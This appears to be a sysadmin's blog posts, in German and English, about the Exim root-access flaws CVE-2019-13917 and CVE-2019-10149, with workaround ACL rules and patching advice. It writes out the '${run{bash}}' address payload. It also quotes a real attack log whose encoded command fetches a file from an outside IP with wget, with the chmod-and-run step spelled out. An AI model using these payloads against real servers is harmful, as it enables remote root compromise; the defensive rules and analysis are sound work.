Exim CVE-2019-13917 – Die Katze ist aus dem Sack

Ich habe es geahnt, natürlich war die String-Expansion vom letzten Exim Exploit nicht nur dort im Einsatz, sondern auch an anderer Stelle:

CVE-2019-13917 – Root Access für lokale und entfernte Benutzer.

Betroffen sind alle aktuellen(und nicht mehr ganz so aktuellen) Exim Versionen 4.85 -> 4.92.

Laut Jeremy Harris besteht die Lücke wie schon beim letzten Exim Exploit in einer String-Expansion-Operation.

Wir erinnern uns: Ein Angreifer konnte vor einem Monat „<${run{bash}}@zieldomain.de>“ als Absender oder Empfänger einer Email setzen und hatte freien Zugang zum System.

So geht das jetzt auch wieder. Diesmal ist es die „Sort“-Funktion, die Einträge, naja, sortiert halt. Wenn ein Angreifer dort Einträge beisteueren kann, wie z.b. einen modifizierten Received-Header, oder multiple Empfängernamen und der angegriffene Server sortiert diese Einträge, für was auch immer er das bräuchte, dann würde der Text des Angreifers ausgeführt.

In PHP nennt man das die EVAL()-Falle. Ist halt immer blöd, wenn man ungeprüft Sachen von fremden Leuten ausführt 😉

Seid Ihr betroffen?

Das ist leicht festzustellen:

exim -bP config | grep -i sort

als Root ausführen und wenn da nichts kommt, dann seid ihr sicher. Da es in der Default Konfig nicht vorkommt, würde sich ein betroffener Admin jetzt direkt daran erinnern, daß er da was sortiert hat und könnte jetzt Updaten. „Könnte“ weil Fedora User nicht können, in der Rebuildversion von heute liest man leider nur das :

* Thu Jul 25 2019 Fedora Release Engineering <releng@fedoraproject.org> – 4.92-9
– Rebuilt for https://fedoraproject.org/wiki/Fedora_31_Mass_Rebuild

Von CVE liest man nichts, oder Ihr vielleicht? Das ist jetzt peinlich, weil die Exim-Devs das allen Distros rechtzeitig mitgeteilt haben.

Workaround:

Sort-Funktion auskommentieren, siehts zwar nicht mehr schön aus, ist aber sicher 😉

 

 

Neue Exim Sicherheitslücke – Wieder Root Access

Erst vor kurzem haben sich die Wogen zum letzten Exim Exploit geglättet, da kommt die nächste Hiobsbotschaft vom Exim-Team: CVE-2019-13917 – Root Access für lokale und entfernte Benutzer.

Laut Ankündigung auf der Exim-Mailingliste sind wieder sämtliche halbwegs in Benutzung befindlichen Exim-Versionen betroffen 4.85 -> 4.92.1. In bestimmten, nicht Defaultkonfigurationen soll eine Root-Access-Lücke für lokale und entfernte Angreifer klaffen.

Mehr Details gibt es noch nicht, da erst am 25.7. offizielles Release Date ist. Wenn Ihr mehr wissen wollt, müßt Ihr einen Distro-Maintainer bestechen, oder 3 Tage warten. Sobald es was neues gibt, melde ich mich dazu.

Exim – Rootlücken Workaround nicht 100% dicht

Guten Morgen, wer seinen Exim immer noch nicht auf den neusten Stand bringen konnte, der muß jetzt nochmal ran an die Config :

  deny    message       = Restricted characters in address
          domains       = +local_domains
          local_parts   = ^[.] : ^.*[\$@%!/|] : ^.*x24 : ^.*0.44

denn leider kann man mit \x24 das $ maskieren und dann schlägt der alte Regelsatz nicht an. Ob man das zu einem Hack eskalieren kann, ist leider ungeklärt. Sicher ist, daß die Schutzregel versagt und das ist etwas, was man nicht haben will. Die „0.44“ ist dann gegen eine OKTALversion, statt Hexadezimal (\x24) von der Umgehung.

Follow-Up auf:

Quickfix: Exim <= 4.91 for CVE-2019-10149

Die Möchtegern-Exim-Exploitwelle geht weiter

Ich könnte mich wegwerfen vor Lachen, die Scriptkids attackieren tatsächlich Server, die Exim in der gepatchten Version laufen haben oder gleich gar keinen Exim, sondern Postfix 😀

Kleine Umfrage auf unserem Cluster

Und so sieht die neueste Version u.a. aus :

2019-06-19 16:08:46 H=(service.com) [98.158.184.125] F=<support@service.com> rejected RCPT <root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x2064.50.180.45\x2ftmp\x2fX.X.X.X\x22}}@XXX.XXXXXXX.XX>: you have been blacklisted.

Ich übersetze mal :

/bin/sh -c „wget 64.50.180.45/tmp/X.X.X.X“

Randnotiz: Das SANS Institute glaubte doch glatt, daß die „/bin/sht -ct“ ausführen wollten, weil deren Postfix die „\t“ in „t“ umgewandelt hatte 🙂

Das obige kann nur funktioniert, wenn man danach auch noch chmod u+x /tmp/X.X.X.X;/tmp/X.X.X.X ausführt und wenn der Server auch mal was ausliefern würde, außer der 404 Seite .. aka… Hack schon gefunden und beseitigt 😉  Naja, die hatten ja auch zwei Tage Zeit 😉

Quickfix: Exim <= 4.91 for CVE-2019-10149

Ok, Exim 4.87 < 4.92 has a serious security hole, which can also be trivially exploited: CVE-2019-10149

A lot of fuss has been made about the weak point, but unfortunately nobody has been able to tell whether it can be fended off without an update. Let’s have a look at what it’s all about.

What is the trivial exploit?

As a local attacker it is enough to send an email with Exim’s sendmail replacement to „<${run{bash}}@zieldomain.de>“. At the moment it is delivered, the embedded command (here bash) is executed as root.

The whole thing can also be executed remotely, so it’s a really nasty vulnerability. But only versions > 4.87 < 4.92 are affected. For this, however, various things must be allowed in the config, which is only partially the case in the default configuration. For example, you cannot include a „/“ in the command because these are illegal characters. This of course restricts the attacker from being strong.

Since even on the exim list there was a lot of secrecy in the game until today, here are the equally trivial countermeasures:

Countermeasures

Just don’t allow „$“ in email addresses 😀 That’s it. There only ARGS came to my mind 😀

This comes into your Exim configuration, then restart Exim:

acl_check_rcpt:

deny message = Restricted characters in address
domains = +local_domains
local_parts = ^[.] : ^.*[\$@%!/|]

deny message = Restricted characters in address
domains = !+local_domains
local_parts = ^[./|] : ^.*[\$@%!] : ^.*/\\.\\./

….

acl_check_mail:

drop message = Restricted characters in address
condition = ${if match{$sender_address}{\N.*\$.*run.*\N}{1}{0}}}

# IMPORTANT: Write in before these instructions, otherwise it’s not working!

accept hosts = +relay_from_hosts

This chokes off the attacker before the email is delivered.

The better countermeasure would of course be to switch to a more recent Exim. But as it is, there are always „reasons“ why and why something can’t be updated.

Nobody gets his teeth apart…

What annoys me most of all about the gap is that this cheap countermeasure does not appear in the Advisory of Qualys and in the hints of the Exim Team. With the Exim people I can still understand it, because they had fixed the bug independently already at the beginning of the year and can say justly: Just do updates.

Qualyss looks different, they write :

As per the distros list policy:

Below is an abridged version of our advisory (with all the vulnerability
details, but without exploitation details); we will publish the complete
version in 24 hours, or as soon as third-party exploits are published,
whichever happens first.

We believe that it makes no sense to delay this any longer than that:
this vulnerability is trivially exploitable in the local and non-default
cases (attackers will have working exploits before that, public or not);
and in the default case, a remote attack takes a long time to succeed
(to the best of our knowledge).

Nice that you omitted the exploit, how about the workaround, so that the good guys have a small lead?  And this cryptic hint „a remote attack takes a long time to succeed“ means that you should restart your exim every 24h, because there is some shit with „tar pits“.

These are usually spam traps that respond so slowly that the attacker’s attack is just as tough as in a tar pit, up to „no progress at all“. The attackers take advantage of something like this here. Therefore once in the cron „killall -9 exim; systemctl restart exim“ daily  : Done.

A follow-up of the aftermatch and some real exploits can be found here: Exim – Exploit in der Wildnis unterwegs

Translated with www.DeepL.com/Translator

BTW: yes, ofcourse i could have written it in english myself, but the translation isn’t that bad 😉